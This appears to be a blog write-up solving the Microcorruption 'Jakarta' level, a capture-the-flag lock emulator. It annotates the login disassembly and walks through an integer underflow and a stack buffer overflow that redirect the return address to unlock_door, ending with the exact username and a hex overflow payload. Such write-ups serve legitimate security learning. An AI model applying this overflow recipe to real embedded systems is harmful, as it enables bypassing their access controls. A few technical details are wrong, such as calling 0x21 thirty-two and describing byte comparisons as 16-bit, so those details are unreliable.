Microcorruption (Embedded Security CTF): Jakarta

I was on a roll for a while (I wrote the previous 6ish posts in only a couple of days) and got stumped on this one for several days.  

I finally got it, so here’s my writeup.  : )

Software Updates

We start off with another promise of enforcing password length restrictions:  

Further down, it says:  

This is Software Revision 06.  We have added further mechanisms to verify that passwords which are too long will be rejected.

Womp womp.  If we run the program, it tells us that we need to provide a username and password, and that the combined length of both of those need to be under 32 characters.  

Jakarta Code Walkthrough

Taking a quick look around the code, we see main -> login, as usual.  

There’s a test_username_and_password_valid function but we’ll try to avoid this.  There’s also an unlock_door function that unconditionally unlocks the door.  This is at address 0x444c.  

Jakarta Login Function

If we take a closer look at login, which is a fairly long function, we see:  

4560 <login>
4560:  0b12           push	r11
4562:  3150 deff      add	#0xffde, sp
4566:  3f40 8244      mov	#0x4482 "Authentication requires a username and password.", r15
456a:  b012 c846      call	#0x46c8 <puts>
456e:  3f40 b344      mov	#0x44b3 "Your username and password together may be no more than 32 characters.", r15
4572:  b012 c846      call	#0x46c8 <puts>
4576:  3f40 fa44      mov	#0x44fa "Please enter your username:", r15
457a:  b012 c846      call	#0x46c8 <puts>
457e:  3e40 ff00      mov	#0xff, r14
4582:  3f40 0224      mov	#0x2402, r15
4586:  b012 b846      call	#0x46b8 <getsn>
458a:  3f40 0224      mov	#0x2402, r15
458e:  b012 c846      call	#0x46c8 <puts>
4592:  3f40 0124      mov	#0x2401, r15
4596:  1f53           inc	r15
4598:  cf93 0000      tst.b	0x0(r15)
459c:  fc23           jnz	#0x4596 <login+0x36>
459e:  0b4f           mov	r15, r11
45a0:  3b80 0224      sub	#0x2402, r11
45a4:  3e40 0224      mov	#0x2402, r14
45a8:  0f41           mov	sp, r15
45aa:  b012 f446      call	#0x46f4 <strcpy>
45ae:  7b90 2100      cmp.b	#0x21, r11
45b2:  0628           jnc	#0x45c0 <login+0x60>
45b4:  1f42 0024      mov	&0x2400, r15
45b8:  b012 c846      call	#0x46c8 <puts>
45bc:  3040 4244      br	#0x4442 <__stop_progExec__>
45c0:  3f40 1645      mov	#0x4516 "Please enter your password:", r15
45c4:  b012 c846      call	#0x46c8 <puts>
45c8:  3e40 1f00      mov	#0x1f, r14
45cc:  0e8b           sub	r11, r14
45ce:  3ef0 ff01      and	#0x1ff, r14
45d2:  3f40 0224      mov	#0x2402, r15
45d6:  b012 b846      call	#0x46b8 <getsn>
45da:  3f40 0224      mov	#0x2402, r15
45de:  b012 c846      call	#0x46c8 <puts>
45e2:  3e40 0224      mov	#0x2402, r14
45e6:  0f41           mov	sp, r15
45e8:  0f5b           add	r11, r15
45ea:  b012 f446      call	#0x46f4 <strcpy>
45ee:  3f40 0124      mov	#0x2401, r15
45f2:  1f53           inc	r15
45f4:  cf93 0000      tst.b	0x0(r15)
45f8:  fc23           jnz	#0x45f2 <login+0x92>
45fa:  3f80 0224      sub	#0x2402, r15
45fe:  0f5b           add	r11, r15
4600:  7f90 2100      cmp.b	#0x21, r15
4604:  0628           jnc	#0x4612 <login+0xb2>
4606:  1f42 0024      mov	&0x2400, r15
460a:  b012 c846      call	#0x46c8 <puts>
460e:  3040 4244      br	#0x4442 <__stop_progExec__>
4612:  0f41           mov	sp, r15
4614:  b012 5844      call	#0x4458 <test_username_and_password_valid>
4618:  0f93           tst	r15
461a:  0524           jz	#0x4626 <login+0xc6>
461c:  b012 4c44      call	#0x444c <unlock_door>
4620:  3f40 3245      mov	#0x4532 "Access granted.", r15
4624:  023c           jmp	#0x462a <login+0xca>
4626:  3f40 4245      mov	#0x4542 "That password is not correct.", r15
462a:  b012 c846      call	#0x46c8 <puts>
462e:  3150 2200      add	#0x22, sp
4632:  3b41           pop	r11
4634:  3041           ret

Let’s break that into individual blocks.  

First, we print up a welcome message and say that the username + password length must be under 32 chars.  

4560 <login>
4560:  0b12           push	r11
4562:  3150 deff      add	#0xffde, sp
4566:  3f40 8244      mov	#0x4482 "Authentication requires a username and password.", r15
456a:  b012 c846      call	#0x46c8 <puts>
456e:  3f40 b344      mov	#0x44b3 "Your username and password together may be no more than 32 characters.", r15
4572:  b012 c846      call	#0x46c8 <puts>
4576:  3f40 fa44      mov	#0x44fa "Please enter your username:", r15
457a:  b012 c846      call	#0x46c8 <puts>

This next block is for accepting the username, and counting the length:  

457e:  3e40 ff00      mov	#0xff, r14
4582:  3f40 0224      mov	#0x2402, r15
4586:  b012 b846      call	#0x46b8 <getsn>
458a:  3f40 0224      mov	#0x2402, r15
458e:  b012 c846      call	#0x46c8 <puts>
4592:  3f40 0124      mov	#0x2401, r15
4596:  1f53           inc	r15
4598:  cf93 0000      tst.b	0x0(r15)
459c:  fc23           jnz	#0x4596 <login+0x36>
459e:  0b4f           mov	r15, r11
45a0:  3b80 0224      sub	#0x2402, r11
45a4:  3e40 0224      mov	#0x2402, r14
45a8:  0f41           mov	sp, r15
45aa:  b012 f446      call	#0x46f4 <strcpy>
45ae:  7b90 2100      cmp.b	#0x21, r11
45b2:  0628           jnc	#0x45c0 <login+0x60>
45b4:  1f42 0024      mov	&0x2400, r15
45b8:  b012 c846      call	#0x46c8 <puts>
45bc:  3040 4244      br	#0x4442 <__stop_progExec__>

Interesting that the strcpy happens before we’ve validated the length.  

We do something similar-ish later, for the password, then we call the validate function, tell the user if their username/password was correct (or not), and then move the stack pointer past our username/password block and return.  This is where we’d hypothetically like to redirect the program flow.  

462e:  3150 2200      add	#0x22, sp
4632:  3b41           pop	r11
4634:  3041           ret

So let’s try some things out.  

Username Attempts

Previous levels have shown that the length restrictions don’t actually work.  Let’s test them out here.  

If we set a breakpoint after we input the username (break 4592), and enter in a username over 32 characters:  

You can see that we start counting from 2402 (technically 2401 but we increment before cmp.b) and count until we find a “00” at the end of our username input.

If we have a username length of 36, r15 counts up to 2426.  

Then here, we’re subtracting 2402 from 2426 and moving the result into r11.  We’re checking that against “0x21” which is 32 in decimal.  

459e:  0b4f           mov	r15, r11
45a0:  3b80 0224      sub	#0x2402, r11
45a4:  3e40 0224      mov	#0x2402, r14
45a8:  0f41           mov	sp, r15
45aa:  b012 f446      call	#0x46f4 <strcpy>
45ae:  7b90 2100      cmp.b	#0x21, r11
45b2:  0628           jnc	#0x45c0 <login+0x60>

0x24 (36 in decimal) is greater than 0x21, so we fail this check and the program ends.  

Longer Username + Password Length?

So if we can’t get past the username check, can we have a username + password total length that exceeds 32?  

If we send aaaabbbbccccddddaaaabbbbccccdddd as a password, after sending AAAABBBBCCCCDDDDAAAABBBBCCCCDDDD as a username (total length of 64 chars, what happens?

By the time we get to line 0x45e6 (after we’ve input both the username and the password), we still have 0x20 stored in r11.  This is the length of our username.  

At 0x45ee, we once again count the length of the password, and storing it in r15.  

R11 and r15 get added together (0x40) and compared to 0x21.  Soooo that’s not gonna work.  

I also tried entering in 0x21 length usernames and passwords, since the comparison is with 0x21 and not 0x20.  It’s a less-than comparison, not a less-than-or-equal-to.  Scratch that idea off the list, too.  

Can we trick the length cmp.b checks (part 1)?

Soooo… maybe we can throw a “00” into our username string and see if we can fool the cmp.b check?

If we enter in:

4141414142424242434343434444444441414141424242424343434344444444000041414141424242424343434344444444

Which is to say, AAAABBBBCCCCDDDD repeated twice, then some nulls, then another AAAABBBBCCCCDDDD  block, then we make it past our cmp.b check: 

But, we don’t get our entire string copied over because strcpy ends when it sees a “00”.  

The strcpy works the same way for the password.  

Cmp.b?  

On line 0x45ae, the username length check is done using cmp.b.  The cmp part means “compare” and the .b part means “byte.”  

45ae:  7b90 2100      cmp.b	#0x21, r11

In other words, we’re comparing one byte of r11 to 0x21.  But what about the upper 16 bits of r11?  Can we make r11 a really big number over 0x100 such that the lower look okay to the cmp.b call?

The short answer is no. ☹️

It took me a while to figure out why this wasn’t working.  I would input 0x120 bytes worth of “A"s (which is 288 of them 😱) using some help from python to generate the string:  

$ python -c 'print "A"*288'

We can see that a lot of A’s are put into memory:  

But if we step to line 0x45ae, the comparison fails because r11 has a value of 0xff.  

What happened?

If you’re like me, you could futz around with different input strings, thinking that you just entered in the wrong number of “A"s.  Or, you could be smart about it and check the memory at 0x2402 from the get-go.  

Yes there are a lot of “A"s, but are there as many as we entered?  It turns out there are only 256 of them, which is 0xff.  Not 0x120 like we wanted.  : ((

Why is that?  One of the lines I skipped over earlier was:

457e:  3e40 ff00      mov	#0xff, r14

If we look at the manual, we’ll see that r14 is the buffer length argument that gets passed to getsn later.  So we’re capped out at 0xff characters.  

Ugh, now what?

To briefly recap:  

At this point, I don’t have any clever ideas for the username section, and instead, decide to compare the username and password section.  

Username on the left, password on the right

I added some spaces between the section so you can see the three main parts:  

  1. Ask for the username/password, get it, print it.  
  2. Count the length and compare
  3. Print up a “too long” message and exit, if the length check fails.  

Already, we can see the code is slightly different.  

We already know that the username length limit is 0xff because that’s what gets passed to getsn via r14.  Right before the getsn call for the password, however, we see things aren’t so simple.  

We move 0x1f into r14, then we subtract the username length (r11), then we AND it with 0x1ff.  

0x1f is decimal 31, which makes me think that there’s a silly math error here.  If our username length is 32 then (unsigned) 31 minus 32 = ?????

Equals 0xffff, thanks to unsigned overflow (or underflow in this case).  

0xffff AND’d with 0x01ff is… 0x01ff.  Which if you remember my earlier attempt to have a very large username length and read only the lower 16 bits… we can apply the same idea here.  

I think we’re onto something!

Jakarta Strategy

So, we need a username with length of 32.  It doesn’t matter what the content is, but a length of 32 (0x20) will create an integer underflow.  

We also need a VERY long password so that when we get to this line:  

4600:  7f90 2100      cmp.b	#0x21, r15

We can pass the check because our number (0x0120) will only have the lower 16 bits checked (0x21).  

Lastly, we also need the address of the unlock function put in our password at the correct location (after 8 bytes of filler).  

Jakarta Level Solution

We can enter in AAAABBBBCCCCDDDDAAAABBBBCCCCDDDD as our username (not hex-encoded). 

Then when we get to the password function, we can use a line of python to generate our password input:  

$ python -c 'print "41"*4 + "4c" + "44" + "41"*250'
414141414c4441414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141

That’s a lot of “A"s, followed by the address, followed by a lot more “A"s.  

This gets entered in with hex-encoding, although you could regenerate the password string with only ASCII chars.  When we get to line 0x45fe, we can see that r11 is 0x20 (32) for the username.  r15 is 0x100 because of our giant string of “A"s, and the integer overflow that we took advantage of.  

Step once, and you’ll see that r15 becomes 0x120.  When we cmp.b on the lower 16 bits (0x20), it’s less than 0x21 so we pass the check.  

From here, you can unlock the door because 0x444c is embedded in our password, and overwrites the previous return address by the time we get to line 0x4634.  

Harder, Better, Faster, Shorter

From here, I realized that I could improve on my solution, because I went to the leaderboard for the Jakarta level and noticed that everyone had shorter inputs than I did.  

Previous levels had a minimum password length requirement.  This one doesn’t, which means that if the program sees a length of 0x00, that’s fine.  Because we’re writing a long password and only comparing the lower 16 bits, that might look like a combined username + password length of 0x100.  

Since we’re adding the username length (0x20) to the password length (0x??) to get 0x100, that means our password length can be 0x20 chars shorter.  

I adjusted my python helper to have fewer “A"s at the end:  

$ python -c 'print "41"*4 + "4c" + "44" + "41"*218'
414141414c444141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141

Now, when we get to line 0x45fe, we see:  

Step once, and r15 becomes 0x100.  We passed both of our checks, and have overwritten the return address to go to the unlock door function.  

TL;DR

The username content doesn’t matter, but must be length 32 to force an integer overflow issue during the password check.  The password must be at least length 0xe0 so that the combined length of the username and password are 0x100, and the cmp.b succeeds.  

Username:  AAAABBBBCCCCDDDDAAAABBBBCCCCDDDD

Password:  use the output of $python -c 'print "41"*4 + "4c" + "44" + "41"*218'

Et voilà!